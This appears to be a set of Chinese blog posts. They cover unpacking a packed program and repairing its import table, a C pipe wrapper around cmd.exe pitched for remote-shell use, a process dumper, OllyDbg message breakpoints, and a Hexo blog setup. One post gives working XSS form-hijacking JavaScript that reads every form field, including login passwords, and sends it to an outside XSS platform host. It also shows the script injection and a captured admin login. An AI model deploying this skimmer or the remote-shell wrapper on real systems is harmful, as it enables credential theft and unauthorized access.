很多比较鸡贼的壳都会修改程序的IAT,这里说的修改不是指加壳以后的修改(加壳以后几乎所有的壳都会重建程序的IAT),而是指程序到达真正的OEP以后,发现IAT表中很多函数指到了别的地方,导致ImportRec无法修复.

原理

加壳程序要保证原程序能够正常运行,必须在程序到达真正的OEP之前将程序的IAT恢复出来,这里说的恢复有下面两种情况:

  • 1.原封不动的恢复
  • 2.修改原IAT表中的项,让他指向一个新的函数,这个函数实现了原导入函数相似的功能.

第一种就不多说了,直接上ImportREC搞定,至于第二种,可以使用如下方法:
我们知道,程序在加载IAT时,需要从相应的DLL中读出指定的函数,我们就可以从这里入手,因为上面两种情况都会执行这个步骤.当IAT加载代码从DLL中读出原函数以后,是不是要经过相应的处理,变化,然后把得到的结果放到IAT对应的项中?我们的目的就是阻止这些修改!

过程

不同的壳情况当然也不一样,我们这里使用一个加壳的记事本程序,PEID没查到壳,不要紧,方法都是通用的

这种方法需要先脱壳,脱壳就不说了,直接在代码段下断,然后单步跟踪,很容易找到OEP

找到OEP后,LoadPE转储,ImportRec修复,找到修复无效指针直接剪贴,常规流程!但是,剪贴以后傻逼了,直接成下面这样了



一个程序只导入了12个函数,可能吗?我只能说,可能性不大
再看看内存镜像里面的IAT,万一ImportRec把IAT的偏移或者大小计算错了呢?这种情况经常发生!

查看内存镜像,如下图



看来ImportRec没有出错,另外,可以看到,IAT里面有很多非DLL导出函数指针,这个应该就是壳修改以后的函数指针了,随便找一个位置(最好不要找第一个,这样可以有个参考),设置内存写入断点,看它是怎么写的.点了几次以后,内存镜像和中断位置如下





看来ECX存储的是函数指针,而上面又有MOV ECX,DWORD PTR SS:[EBP+40D456],所以直接找DWORD PTR SS:[EBP+40D456].



这里,记住这个位置,重新开始,在40d400下断.发现这里如果把JE改成JMP的话可以跳过刚才的代码,试下.

重新来到OEP,现在在看看IAT



妥妥的!

PS:这种方法有时候会遇到壳自校验的问题,也就是说外壳发现你修改了代码,直接退出,这时,我们已经知道了IAT,直接用ImportRec修复之前保存好的转储文件就行了,其中,OEP填写真正的OEP.

有时我们需要写一个Shell来完成一些比较猥琐的事(比如远程Shell),怎么办?完全自己写一个shell吗?可行,但是工作量太大;有一个比较好的方案能帮助我们快速的完成工作--管道.

原理:

这方面资料网上其实挺多的,简单说下吧,程序一般都有输入句柄和输出句柄,什么叫输入呢,就是你向它发送数据,输出肯定就是它向你发送数据了,简单来说,printf算是输出,scanf算是输入.一般来说,打开cmd.exe如果不进行设置的话它的输入输出句柄就被设置成默认的了,也就是GetStdHandle的返回值,那如果把输入输出句柄设置成我们自己设定的会怎么样呢?没错,就可以使用ReadFile读取它的输出,使用WriteFile向它输入!

实现:

废话不说,直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

#include <stdio.h>
#include <Windows.h>

#define BUFFER_SIZE 1024

HANDLE hProcess=0;
HANDLE hRead1,hRead2;
HANDLE hWrite1,hWrite2;

BOOL WINAPI HandlerRoutine(DWORD dwType)
{

if(hProcess)
{
TerminateProcess(hProcess,0);
CloseHandle(hRead1);
CloseHandle(hRead2);
CloseHandle(hWrite1);
CloseHandle(hWrite2);
hProcess=0;
}
}

DWORD __stdcall ReadThread(void * pData)
{

char buffer[BUFFER_SIZE];
DWORD len;
HANDLE hRead=(HANDLE)pData;
while(1)
{
ReadFile(hRead,buffer,BUFFER_SIZE,&len,0);
buffer[len]=0;
printf("%s",buffer);
}
return 1;
}

void main(int argc,char * argv[])
{


SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
STARTUPINFO si;
DWORD len;
char buffer[BUFFER_SIZE];

if(argc<2)
{
printf("输入程序路径!\r\n");
return ;
}
SetConsoleCtrlHandler(HandlerRoutine,1);
sa.bInheritHandle=1; //设置继承
sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;

if((!CreatePipe(&hRead1,&hWrite1,&sa,0))||(!CreatePipe(&hRead2,&hWrite2,&sa,0)))
{
printf("CreatePipe failed!\r\n");
return ;
}
memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));

GetStartupInfo(&si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdError=hWrite1;
si.hStdInput=hRead2;
si.hStdOutput=hWrite1;
si.wShowWindow=SW_HIDE;

if(!CreateProcess(argv[1],0,0,0,1,0,0,0,&si,&pi))
{
printf("CreateProcess failed!\r\n");
return ;
}
hProcess=pi.hProcess;
Sleep(300); //等待程序执行
PeekNamedPipe(hRead1,buffer,1,&len,0,0);
while(len)
{
ReadFile(hRead1,buffer,BUFFER_SIZE,&len,0);
buffer[len]=0;
printf("%s",buffer);
PeekNamedPipe(hRead1,buffer,1,&len,0,0);
}
CloseHandle(CreateThread(0,0,ReadThread,(void *)hRead1,0,0));
while(1)
{
gets(buffer);
len=strlen(buffer);
if(len>BUFFER_SIZE-2)
{
printf("防溢出!\r\n");
continue;
}
WriteFile(hWrite2,buffer,len,&len,0);
WriteFile(hWrite2,"\r\n",2,&len,0); //执行
}
}

效果



今天破解软件时LoadPE突然不能用了- -!,没办法,要转储文件,自己写一个吧.
代码就不公开了,不献丑了



> 编写主要分为下面几个步骤,

1
2
3
4
加载进程;
读取进程模块,取可执行文件的映像;
读取进程当前内存;
PE头稍加修改,转储!


# 加载进程

> 这个不多说了,找到进程PID,直接OpenProcess会给你返回一个进程句柄,下面的操作都要用这个句柄.至于PID怎么获得?想要编程的话使用Process32First,Process32Next,想偷懒的话直接使用tasklist

读取进程模块

这里微软已经我们准备好了,有个API叫Module32First,Module32Next,至于怎么用,MSDN上说的很清楚,一般来说Module32First返回的 MODULEENTRY32 就是可执行映像文件,没办法,创建进程的时候他总是第一个加载的啊,别的DLL都是为他服务的.

读取进程到内存

这里唯一需要注意的一点是:读取的时候可能需要设置权限,使用VirtualProtectEx设置权限,使用ReadProcessMemory读取内存,记得设置完以后用VirtualProtectEx改回去^-^

转储

好了,进程的可执行文件的内存映像已经被我们读取下来了,这个时候先别急着存储,因为还有一些事要做.大家观察下LoadPE转储下来的文件,有一个规律



V.offset与R.offset,V.Size与R.Size一样吧

顺便说下,V.offset指的是程序加载到内存以后RVA(相对虚拟地址),R.offset是指程序在文件中实际的偏移地址,R.offset指实际大小,V.size指加载到内存以后的大小.一般程序这两组值是不相等的,但是为什么转储以后相等了呢?

这里个人觉得是作者偷了一下懒,因为加壳过程中,不能保证文件的大小不变,特别是压缩壳,是要尽可能减小程序在硬盘中的存储大小的,所以,一般壳都会去修改这个R.offset,R.size,让他们使用加壳以后比较合适的值,从而达到压缩,加密的目的,换句话说,这里的R.offset,R.size并不是未加壳前程序的偏移值及大小!所以说,直接保存很大可能性会出错!

怎么办呢?

  • 比较麻烦的方法是:既然程序已经解密完毕了(转储时务必确保到达OEP!),那我们能不能算出来较为合适的R.offset以及R.size呢?当然可以!
  • 比较简单的方法是:直接让R.offset=V.offset,R.size=V.size,V.size肯定是要大于R.size的,所以这样做无非就是多占一点空间而已(这也是为什么转储后的文件都要大于原文件),但是很保险,不会出错.

修改完每个SECTION的R.offset以及R.size后,如果有必要,修改下PE头中的ImageSize,保存文件,大功告成(当然修复输入表就是另外一回事了).

祝大家开心

给大家介绍下OD中怎么设置消息断点吧,本文只针对C/C++程序,别的语言写的程序有更好的办法.

原始程序

随便写一个对话框程序给大家演示一下吧.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <Windows.h>
#include "resource.h"

BOOL CALLBACK DialogProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam)
{

switch(msg)
{
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IDOK:
MessageBox(0,"OK","OK",0);
return 0;
}
case WM_SYSCOMMAND:
if(LOWORD(wParam)==SC_CLOSE)
{
MessageBox(0,"Exit","OK",0);
EndDialog(hWnd,0);
}
}
return 0;
}

void main()
{

DialogBox(0,MAKEINTRESOURCE(IDD_DIALOG1),0,DialogProc);
}

程序很简单,点击OK按钮出来一个提示框

OD中截获WM_COMMAND消息

开始想着是OD中选择查看->窗口,会显示当前应用程序的各个窗口,那直接找窗口处理函数,直接设断不就行了吗?很不幸,这样不行,看看下图



确实有确定,取消这几个按钮,而且也有我们的Dialog对话框,但是貌似处理函数跑飞了,我们自己写的处理函数怎么会位于USER32.DLL的加载空间呢?不用问,不是这个,仔细看下,上面写的是ClsProc,而且左边还有个WinProc,我的理解是WinProc才是你自己写的函数,但是这里OD没检测出来,那么ClsProc是什么呢?我的理解是,在RegisterClassEx中使用的WNDCLASSEX结构体中的窗口处理函数,那么,调用顺序是怎样的呢?Windows会首先调用ClsProc中的处理函数,再由这个函数将消息转发给咱们自己定义的函数.

  • 说了这么多,其实总结下来就一句话:这个ClsProc不一定靠谱,当然,一些情况下还是可以用他的,如果他可以用的话,就可以直接使用OD提供的设置消息断点的方式

那么,怎么办呢?这里给大家介绍两种方法.

内存断点法

  • 上面讲过,系统会先调用这个ClsProc,然后再调用我们自己提供的函数.看看地址空间,ClsProc显而易见是在USER32.DLL的空间(之前听有些说法是把它叫做系统空间,其实个人感觉这个不能叫系统空间,系统空间是指你运行了特权指令,int 0x2e,sysenter以后CPU进入0环以后的空间),而我们自己提供的函数肯定是位于当前应用程序的空间了,我们的目的就是找到他!

  • 首先,在ClsProc的位置下条件断点.





这里注意两点,第一个是地址77D3E577,由于动态链接库每次加载的位置都不一样,所以这个值可能是会变的;第二个是[esp+4]的值,也就是句柄值,这里也是不确定的,我是怎么得到这个值的呢?注意看堆栈,不多解释.

  • 点击确定后,程序断在这里,然后ALT+M打开内存,在代码区设断




  • 点击运行:




OK

函数断点法

首先问一个问题:Windows系统在显示对话框时会调用什么函数?你可能想说DialogBoxA,DialogBoxW,对不起,不是这两个,这两个其实不叫函数,他们只是宏定义,系统会调用DialogBoxParamA,或者DialogBoxParamW.看先调用接口:

1
2
3
4
5
6
int DialogBoxParam(
HINSTANCE hInstance,
LPCTSTR lpTemplateName,
HWND hWndParent,
DLGPROC lpDialogFunc,
PARAM dwInitParam)
;

思路有了吧,直接在这个函数上设断,[ESP+0x10]的值就是我们要找的了.

That’s all

今天看到了表单劫持,于是想在XSS平台上创建一个表单劫持的项目,使用的平台是http://xss.hacktask.net/ 

在网上找了一下表单劫持方面的资料,思路大多是配合xss.js公共模块,通过修改form表单里action的地址为自己提供的地址,比如说http://www.xxxx.com/Form.php ,然后在From.php中,解析$_POST的内容达到劫持表单的功能.有兴趣的朋友自己搜索下,这里主要介绍使用Javascript进行表单劫持,这种方法的缺点会在后面给出.

思路

大家都知道,在提交form表单时会调用onsubmit方法,既然调用了onsubmit,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息,代码如下:

1
2
3
4
5
6
7
8
9
10
var str='';
for(var i=0;i<f.elements.length;i++) //逐个获取表单的名称以及值
{
str+=f.elements[i].name+':'+f.elements[i].value+'||'; //'||'为分隔符
}
str=str.substr(0,str.length-2);
var img=new Image(); //使用Image提交信息
img.src='http://xss.hacktask.net/index.php?do=api&id={projectId}&data='+escape(str)+'&url='+escape(location.href); //{projectId}为XSS平台为你分配的id
func(event); //func保存之前的onsubmit方法,由于这里面可能需要执行类似编码等操作,所以这里不能直接跳过
return true;

模块配置

  • 首先在XSS平台中创建一个新的模块,模块名称和描述自己填吧,需要配置的是参数,配置参数,以及代码


在底下的代码框写入我们的代码,就OK了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var f=document.forms['{set.formname}'];
if(f==undefined)
{
f=document.getElementById('{set.formid}');
}
var func=f.onsubmit;
f.onsubmit=function(event)
{

var str='';
for(var i=0;i<f.elements.length;i++)
{
str+=f.elements[i].name+':'+f.elements[i].value+'||';
}
str=str.substr(0,str.length-2);
var img=new Image();
img.src='http://xss.hacktask.net/index.php?do=api&id={projectId}&data='+escape(str)+'&url='+escape(location.href);
func(event);
return true;
}

点击配置,完成

演示

这里以织梦为例,在后台那查看代码



然后在XSS中新建一个项目,项目名称,描述,惯例随便写,选中我们自建的模块,formname写成form1,保存.
复制XSS代码(如果不知道怎么做的话自行百度XSS平台使用),我这里是

1
<script src=http://xss.hacktask.net/9D1Q9Z?1430276699></script>

织梦平台上模拟XSS插入



这里操作就完成了,返回登录界面,随便登录一下

熟悉的界面



在XSS平台上看一下



截获到了吧,看下内容



缺点

看到这里,缺点大家应该也知道了,在输入的时候不管你的用户名密码是否正确,都会上传到XSS平台,也就是说,你截获到的账号密码不一定是正确的

祝大家好运^-^

太菜了,在github上使用hexo安装安装了好久,期间各种问题不断,然后不断的上网搜索,还好最后安装成功了,就把安装过程重新记录下吧.

1.支持文件

这个不用多说了,网上教程一大堆,需要:

2.安装

在node.js提供的命令行窗口中输入

1
npm install hexo --save

安装完成出现如下图片



随便建立一个博客目录,输入:

1
hexo init

出现如下:



然后输入:

1
npm install

完成安装

这时,本地基本上已经搭建好了,可以在_config.yml中修改例如博客作者,标题等一系列信息;

OK,我们来看看效果吧:运行下列命令:

1
hexo server

如果运行成功的话,本地端口4000会被打开,随便在哪个浏览器上输入



3.上传

将生成的文件部署到github上,首先,你得有个github号.

获得github号后,在全局设置那里配置SSH公钥,具体配置过程直接使用官网的教程https://help.github.com/articles/generating-ssh-keys/ 这里就不多说了,配置公钥这步主要是为了让本地主机通过github的认证,否则,部署的时候会出现无权限的错误.

在github上新建一个工程,建好后出现如下界面



复制好后,找到_config.yml,添加

1
2
type: git
repo: git@github.com:dwblog/new_blog.git

注意!hexo版本3.0以上的type是git,3.0以下的是github,使用hexo version查看版本,如果出现ERROR Deployer not found: git,运行命令npm install hexo-deployer-git —save即可

然后就可以部署了,运行

1
2
hexo g
hexo d

运行完毕



在github上选择刚才的项目,点setting,在下面会出现

4.没有域名怎么办?

上面的步骤相信大家在网上可以搜出来很多,所以我这里主要也就是将网上的步骤归纳了一下(因为我这里按照网上的步骤一步一步走遇到了很多问题- -!).

接下来大家肯定迫不及待的打开自己的网页瞧一瞧,但是出问题了- -!,是不是像下图这样



是不是没有本地的好看,当然,你可能觉得实现了功能已经很满足了,但是,随便点一篇文章进去看看,是不是404 not found!

仔细看看红框中,CSS位置错了!

在网上找了好久,发现很多教程都是让申请一个域名,然后新建一个CNAME的文件,把域名倒进去,OK.但是,没有域名怎么办?

仔细看看public中的index.html文件,发现hexo g的时候把根目录解析成了/也就是http://dwblog.github.io,不是我们的博客地址,下面介绍两种解决方法

1. 修改项目名称

既然他给解析成了http://dwblog.github.io ,那我们就直接使用http://dwblog.github.io 作为博客地址不就可以了吗?方法是创建新项目的时候使用xxx.github.io这种项目名称,然后在重复上面的操作,即可

2. 修改根目录

这种思路是让他给解析成/new_blog不就可以了吗?方法很简单,在_config.yml中找到root项,然后把/改成/new_blog就可以了

这里就不上图了- -!